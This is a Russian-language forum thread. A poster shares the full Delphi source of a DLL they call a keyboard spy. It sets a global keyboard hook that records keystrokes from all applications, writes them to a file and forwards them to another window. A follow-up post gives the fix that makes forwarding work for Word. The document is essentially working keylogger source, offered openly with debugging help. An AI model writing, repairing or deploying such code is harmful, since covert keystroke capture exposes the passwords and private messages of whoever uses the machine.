[T232006]

Здравствуйте! Стоит задача отловить нажатие клавиш в различных приложениях и передать буквы в memo и записать в файл. Сооружаю стандартную несложную dll'ку клавиатурного шпиона и замечаю странность: с блокнотом всё прекрасно работает и пишется в файл. С браузером тоже. А вот с вордом в файл пишется, но в memo - нет. А если поставить брейкпоинты на месте writeln(f, key), то c вордом они не отработают, но в файл все запишется. Что за чертовщина?

Код:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51

library simplehook; uses Messages, Windows, keyboardUnit; //keyboardUnit только для расшаривания message WM_MYKEYPRESS   var HookHandle:hHook; ft:textfile; hwin: Hwnd; function KeyboardProc(Code: Integer; wParam: wParam; LParam: LParam): integer; stdcall; var myHKL: HKL;     KS: TKeyboardState;     SC: integer;     key1: char; begin if code<0 then Result:=CallNextHookEx(HookHandle, code, WParam, LParam) else if byte(LParam shr 24)<$80 then {только нажатие} begin     myHKL:=GetKeyboardLayout(GetCurrentThreadID);     SC:=MapVirtualKeyEx(WParam, MAPVK_VK_TO_VSC, MyHKL);     GetKeyboardState(KS);     ToUnicodeEx(WParam, SC, KS, @Key1, sizeof(key1), 0, MyHKL); try   append(ft); except   exit; end;   writeln(ft,'key=', key1 ); // <---- здесь ставлю брейкпоинт и в случае с вордом отладчик игнорирует, но исполняет   closefile(ft); //sendchar( hwin, key1);   sendMessage(hwin, WM_MYKEYPRESS, ord(key1), 0);    //<--- здесь я передаю сообщение принимающему окну   Result:=CallNextHookEx(HookHandle, code, WParam, LParam); end; end;   procedure SetHook(wnd:hwnd); stdcall; begin   hwin:= wnd;   HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0); end;   procedure DelHook; stdcall; begin   UnhookWindowsHookEx(HookHandle); end; exports SetHook, Delhook;   begin assignfile(ft,'z:\Программирование\пробы\Test\Hooks\Keyhook.txt'); end.

[T232006]

Я решил эту проблему следующим способом. Оказалось, что хуки очень не любят, когда в их библиотеки прописывают какие-то классы и даже лишние переменные. Поэтому я заменил код

Код:

1	sendMessage(hwin, WM_MYKEYPRESS, ord(key1), 0)

на

Код:

1	sendMessage(FindWinodw(nil, 'Название принимающего окна'), WM_MYKEYPRESS, ord(key1), 0)

и всё заработало. правда, библиотека потеряла универсальность.